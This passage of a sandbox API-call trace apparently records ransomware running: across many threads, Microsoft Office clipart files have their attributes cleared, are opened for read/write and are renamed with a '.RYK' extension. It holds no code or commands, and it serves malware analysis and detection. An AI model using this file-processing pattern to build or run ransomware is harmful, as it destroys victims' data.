	[0247.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2845
	os_tid = 0x31c4

	[0245.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF", dwFileAttributes=0x80) returned 0
	[0247.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.460] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2847
	os_tid = 0x31d4

	[0248.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF", dwFileAttributes=0x80) returned 0
	[0248.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.135] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2848
	os_tid = 0x31d8

	[0248.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF", dwFileAttributes=0x80) returned 0
	[0248.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.286] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2849
	os_tid = 0x31dc

	[0248.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF", dwFileAttributes=0x80) returned 0
	[0248.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.139] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2850
	os_tid = 0x31e0

	[0248.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF", dwFileAttributes=0x80) returned 0
	[0248.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.146] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.146] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2851
	os_tid = 0x31e4

	[0248.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF", dwFileAttributes=0x80) returned 0
	[0248.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.151] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.151] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2852
	os_tid = 0x31e8

	[0248.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF", dwFileAttributes=0x80) returned 0
	[0248.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.319] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.319] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2853
	os_tid = 0x31ec

	[0248.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF", dwFileAttributes=0x80) returned 0
	[0248.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.316] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2854
	os_tid = 0x31f0

	[0248.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF", dwFileAttributes=0x80) returned 0
	[0249.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.288] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2855
	os_tid = 0x31f4

	[0248.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF", dwFileAttributes=0x80) returned 0
	[0249.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.327] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.327] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2856
	os_tid = 0x31f8

	[0248.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF", dwFileAttributes=0x80) returned 0
	[0249.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.326] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.326] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2857
	os_tid = 0x31fc

	[0248.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF", dwFileAttributes=0x80) returned 0
	[0249.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.325] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.325] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2858
	os_tid = 0x3200

	[0248.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF", dwFileAttributes=0x80) returned 0
	[0249.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.324] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2859
	os_tid = 0x3204

	[0248.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF", dwFileAttributes=0x80) returned 0
	[0249.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.323] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2860
	os_tid = 0x3208

	[0248.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF", dwFileAttributes=0x80) returned 0
	[0249.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.322] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2861
	os_tid = 0x320c

	[0248.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF", dwFileAttributes=0x80) returned 0
	[0249.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.322] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.322] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2862
	os_tid = 0x3210

	[0248.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF", dwFileAttributes=0x80) returned 0
	[0249.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.321] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2863
	os_tid = 0x3214

	[0249.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF", dwFileAttributes=0x80) returned 0
	[0249.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.315] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2865
	os_tid = 0x3220

	[0249.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF", dwFileAttributes=0x80) returned 0
	[0249.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.314] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2866
	os_tid = 0x3224

	[0249.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF", dwFileAttributes=0x80) returned 0
	[0249.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.314] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.314] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2867
	os_tid = 0x3228

	[0249.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF", dwFileAttributes=0x80) returned 0
	[0249.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.313] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.313] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2868
	os_tid = 0x322c

	[0249.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF", dwFileAttributes=0x80) returned 0
	[0249.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.312] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2869
	os_tid = 0x3230

	[0249.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF", dwFileAttributes=0x80) returned 0
	[0249.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.312] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2870
	os_tid = 0x3234

	[0249.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF", dwFileAttributes=0x80) returned 0
	[0249.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.320] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.320] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2871
	os_tid = 0x3238

	[0249.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF", dwFileAttributes=0x80) returned 0
	[0249.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.311] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2872
	os_tid = 0x323c

	[0249.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF", dwFileAttributes=0x80) returned 0
	[0249.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.310] CloseHandle (hObject=0xffffffffffffffff) returned 0
